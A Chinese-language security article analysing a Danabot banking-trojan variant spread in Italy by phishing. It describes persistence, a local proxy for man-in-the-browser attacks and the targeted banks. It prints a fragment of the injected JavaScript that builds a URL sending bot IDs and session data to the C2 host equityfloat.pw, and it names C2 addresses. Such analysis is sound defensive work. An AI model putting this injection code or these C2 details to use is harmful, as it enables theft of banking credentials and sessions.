就在几天前,Danabot(一个臭名昭著的僵尸网络)的新型变种席卷了意大利境内的联网设备。在此之前,Proofpoint和Eset等多家安全公司都对相同威胁的其他样本(2018年5月针对澳大利亚地区的攻击Payload)进行过分析。近期,Cybaze-Yoroi ZLab还对最近攻击意大利地区的Danabot新型变种进行了剖析,这个Danabot变种主要利用钓鱼邮件(主题为“Fattura”)进行攻击,嵌入在恶意附件中的代码可以利用Microsoft Office的宏功能来下载恶意DLL Payload。
这个恶意软件样本会尝试通过加密SSL信道连接远程主机(149.154.157.104),然后下载其他恶意组件,并从文件系统中将自身删除。与此同时,它还会在注册表键“HKLM\SYSTEM\CurrentControlSet\Services”中设置一个系统服务,而这些注册表键主要负责加载“C:\ProgramData\D93C2DAC”(只读、隐藏)中的动态链接库文件(DLL):
这个隐藏目录中包含两个可执行组件,即“D93C2D32.dll”和“D93C2D64.dll”,其实它们两个是一样的,只不过一个是32位另一个是64位而已,具体执行哪一个还需要根据目标主机的系统架构来确定。
接下来,恶意软件还会进行至少两次的恶意代码库加载,不过每一次所使用的参数都不同,具体需要根据调用的导出函数来确定:
如上图所示,恶意软件会导出八个关键函数:“f1”, “f2”, “f3”, “f4”, “f5”, “f6”, “f7”和“f8”。“f1”函数负责将恶意软件变种安装到目标系统中,它是一个安装函数,并且会在安装过程中调用函数“f2”和“f3”。函数“f4”和“f5”负责保证恶意软件在目标系统中的持续运行,其中“f5”会设置一个系统转发代理(本地端口1080),这样一来,目标设备的所有联网数据都需要经过这个代理,而恶意软件就可以拦截或篡改网络流量了。与此同时,函数“f4”负责管理网络流量并进行中间人攻击。每当目标设备向网络发送一次DNS调用请求,恶意软件就会将其与自身硬编码的银行网站地址进行比对,如果匹配成功,则拦截并篡改请求数据,而且它还会窃取类似用户名、密码和会话Cookie这样的敏感信息。
在上述函数的执行过程中,恶意软件还会搜索存储在目标设备Web浏览器数据目录中的敏感信息,就连Google Chrome和Mozilla Firefox都无法幸免于难。恶意软件会收集存储在浏览器中的用户凭证,然后把收集来的数据存储在一个临时SQLite数据库中,数据库路径为“C:\WINDOWS\TEMP”。
为了执行基于浏览器的中间人攻击,恶意软件会设置一个如下图所示的系统转发代理。这样一来,它就可以拦截目标设备上所有的进出流量了。当目标用户请求一个特定Web页面时,恶意软件会向该页面中注入恶意JavaScript代码,并尝试拦截和提取类似个人数据、账号凭证和PIN码之类的敏感信息。代理的设置和管理由恶意DLL中的函数“f4”负责。
通过对恶意软件样本中提取出的浏览器中间人攻击配置进行了分析后,我们获取到了该恶意软件所设置的完整的Web页面拦截列表:这款恶意软件变种主要针对的是金融机构(大范围)的用户,其中绝大多数都是意大利银行,例如Bancoposte, Intesa San Paolo, Banca Generali, BNL, Hello Bank和UBI Banca等等。除了银行网站之外,列表中还包括一部分电子邮件服务提供商,比如说Tim、雅虎、Hotmail、Gmail以及意大利本地的邮件服务提供商。
注入在目标Web页面中的恶意JavaScript会将窃取来的信息发送至远程C2服务器,其中包括会话Cookie(可帮助攻击者渗透已验证的会话)在内。我们可以从下面这段代码中看到,注入的恶意代码来自于http://equityfloat[.]pw/hc/myjs28frr_s51.js。
注入的攻击代码会访问恶意PHP资源- “/my9rep/777.php”,并发送bot ID详情以及当前的会话Cookie。
var wwww = 'https://equityfloat.pw/';
wwww= "https://" + document.location.host + "/";
var waitdiv = "<center id=\"fkwt\" class=\"fkwt\"><br/> Poczekaj aż Twój komputer zostanie zidentyfikowany. Może to potrwaćtrochę czasu... <br/><img src=\"" + wwww +"/my9rep/777.php?imgto=wait\"></img></center>";
var waitfk = "";
var waitlok = "<div><center><br/> Prowadzone sa prace modernizacyjne w celu jak najszybszegoprzywrocenia dzialania systemu.<br/>Przyblizony czas modernizacji wynosikilka godzin.<br/>Przepraszamy za tymczasowe utrudnienie iniedogodnosci.<br/><center></div>";
var netbot = "frr";
var rem777bname2 = "";
var tbid =my7ajx("#myjs1[data-botid]");
if (tbid.length > 0) rem777bname2 =tbid.attr("data-botid");
var loca = location.href;
var tyyp = true;
var apan = wwww +"/my9rep/777.php?typ=" + document.location.host +"&sub=" + netbot + "&b=2&inf=" + rem777bname2;
var args = {};
var tmp1;
var tkstate = 1;
var lg = "",
ps = "",
tk = "";
var lgf;
var pss;
var tabl;
var tabltr;
var btn;
var clickfnc;
var ansq = false;
而且我们还可以看到,恶意软件会使用自定义的JQuery脚本:“vartbid=my7ajx(“#myjs1[data-botid]”);”来给受感染主机设置bot ID,这个bot ID需要跟C2服务器“equityfloat.]com”的PHP页面地址进行拼接。
var apan = wwww + "/my9rep/777.php?typ=" + document.location.host +"&sub=" + netbot + "&b=2&inf=" + rem777bname2;
这样一来,攻击者就可以在MitB代理成功注入恶意代码的第一时间接收到通知消息了。
Danabot威胁在去年就已经将它们的攻击业务覆盖到意大利了,尤其是在2018年11月份,当时CSDC在进行安全检测活动时就曾拦截到了这种大规模攻击威胁。不过根据当时研究人员对恶意样本的分析,那时的Danabot主要针对的是意大利普通用户以及企业组织,并没有主要针对传统银行机构。
*参考来源:securityaffairs, Alpha_h4ck编译,转载请注明来自FreeBuf.COM